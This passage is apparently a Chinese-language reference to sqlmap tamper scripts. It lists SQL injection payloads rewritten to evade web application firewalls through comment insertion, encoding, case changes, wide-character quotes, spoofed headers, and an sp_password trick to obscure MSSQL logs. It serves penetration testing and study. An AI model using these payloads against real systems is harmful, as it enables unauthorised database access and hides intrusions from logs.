
适用数据库:ALL

concat替换 concat2concatws.py

用于过滤了concat函数的情况,将其转换为concat_ws函数

1
2
3
CONCAT(1,2)
==>
CONCAT_WS(MID(CHAR(0),0,0),1,2

适用数据库:MySQL

等号替换成like equaltolike.py

1
2
3
SELECT * FROM users WHERE id=1
==>
SELECT * FROM users WHERE id LIKE 1

引号转义逃逸 escapequotes.py

'单引号变成\\',"双引号变成\\"

大于号替换 greatest.py

1
2
3
1 AND A > B
==>
1 AND GREATEST(A,B+1)=A

在关键词前加内联注释 halfversionedmorekeywords.py

1
2
3
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
==>
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

适用数据库:MySQL < 5.1 ,之后的内联注释必须为/*!content*/

html实体转义 htmlencode.py

1
2
3
1' AND SLEEP(5)#
==>
1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;
ifnull函数替换 ifnull2casewhenisnull.py

ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况

1
2
3
IFNULL(1, 2)
==>
CASE WHEN ISNULL(1) THEN (2) ELSE (1) END

ifnull函数替换 ifnull2ifisnull.py

ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况

1
2
3
IFNULL(1, 2)
==>
IF(ISNULL(1),2,1)

适用数据库:MySql5.0,5.5

内置表过滤绕过 informationschemacomment.py

有些WAF过滤了information_schema字段,在其后面加行内注释

1
2
3
SELECT table_name FROM INFORMATION_SCHEMA.TABLES
==>
SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES

使用least替换比较符 least.py

1
2
3
1 AND A > B
==>
1 AND LEAST(A,B+1)=B+1

大写转小写 lowercase.py

1
2
3
INSERT
==>
insert

完整语句注释绕过 modsecurityversioned.py

使用内联注释注释完整语句,绕过ModSecurity WAF/IDS

1
2
3
1 AND 2>1--
==>
1 /*!30874AND 2>1*/--

完整语句注释绕过 modsecurityzeroversioned.py

同上,补了4个0

1
2
3
1 AND 2>1--
==>
1 /*!00000AND 2>1*/--

关键字周围加空格 multiplespaces.py

1
2
3
1 UNION SELECT foobar
==>
1 UNION SELECT foobar

叠写关键字 nonrecursivereplacement.py

用于绕过替换策略,例如服务器做如下操作replace("SELECT", ""),可用此方式绕过:

1
2
3
1 UNION SELECT 2--
==>
1 UNIOUNIONN SELESELECTCT 2--

overlongutf8.py

1
2
3
SELECT FIELD FROM TABLE WHERE 2>1
==>
SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1

用百分号加到所有字符前面 percentage.py

1
2
3
SELECT FIELD FROM TABLE
==>
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

加号替换为concat plus2concat.py

1
2
3
SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL
==>
SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL

加号替换为fn concat plus2fnconcat.py

1
2
3
SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL
==>
SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL

随机大小写 randomcase.py

1
2
3
INSERT
==>
INseRt

随机加注释 randomcomments.py

1
2
3
INSERT
==>
I/**/N/**/SERT

加入任意字符串 securesphere.py

1
2
3
1 AND 1=1
==>
1 AND 1=1 and '0having'='0having'

添加sp_password字段 sp_password.py

payload语句后添加sp_password,用于迷惑数据库日志

1
2
3
1 AND 9227=9227--
==>
1 AND 9227=9227-- sp_password

适用数据库:MSSQL

空格替换 space2comment.py

1
2
3
SELECT id FROM users
==>
SELECT/**/id/**/FROM/**/users

空格替换 space2dash.py

空格替换成被注释的字符串并换行

1
2
3
1 AND 9227=9227
==>
1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

适用数据库:MSSQLSQLite

空格替换 space2hash.py

同上,注释从--改为#

1
2
3
1 AND 9227=9227
==>
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227

空格替换 space2morecomment.py

将空格用 /**_**/ 替代

1
2
3
SELECT id FROM users
==>
SELECT/**_**/id/**_**/FROM/**_**/users

空格替换 space2morehash.py

跟之前的差不多,用#+随机字串+\n代替空格

1
2
3
1 AND 9227=922
==>
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

空格替换 space2mssqlblank.py

随即用空白ASCII替换空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
random.choice(blanks)

空格替换 space2plus.py

空格替换为+

1
2
3
SELECT id FROM users
==>
SELECT+id+FROM+users

适用数据库:ALL

空格替换 space2randomblank.py

空格替换为随机空白符

1
2
3
4
5
6
7
8
9
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
blanks = ("%09", "%0A", "%0C", "%0D")
SELECT id FROM users
==>
SELECT%0Did%0DFROM%0Ausers

适用数据库:ALL

逻辑操作符替换 symboliclogical.py

andor替换成&& ||

1
2
3
1 AND '1'='1
==>
1 %26%26 '1'='1

union替换 unionalltounion.py

1
2
3
-1 UNION ALL SELECT
==>
-1 UNION SELECT

宽字符注入 unmagicquotes.py

'替换为%df%27

1
2
3
1' AND 1=1
==>
1%bf%27--

大写 uppercase.py

1
2
3
insert
==>
INSERT

HTTP头部注入 varnish.py

添加一个 HTTP头 X-originating-IP来绕过 WAF

1
2
3
4
5
6
Examples:
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A

关键字内联注释 versionedmorekeywords.py

1
2
3
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
==>
1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

HTTP头部注入 xforwardedfor.py

添加一个伪造的 HTTP 头X-Forwarded-For 来绕过 WAF

本文总结于以下参考文献:

  1. sqlmap用户手册
  2. sqlmap用户手册[续]
  3. SQLMAP 实例COOKBOOK
  4. 使用SQLMAP对网站和数据库进行SQL注入攻击
  5. 使用sqlmap中tamper脚本绕过waf
  6. SQLMAP进阶使用
  7. SQLMAP源码分析Part1:流程篇
  8. SQLMap的前世今生
  9. sqlmap自带的tamper你了解多少?
  10. sqlmap 使用总结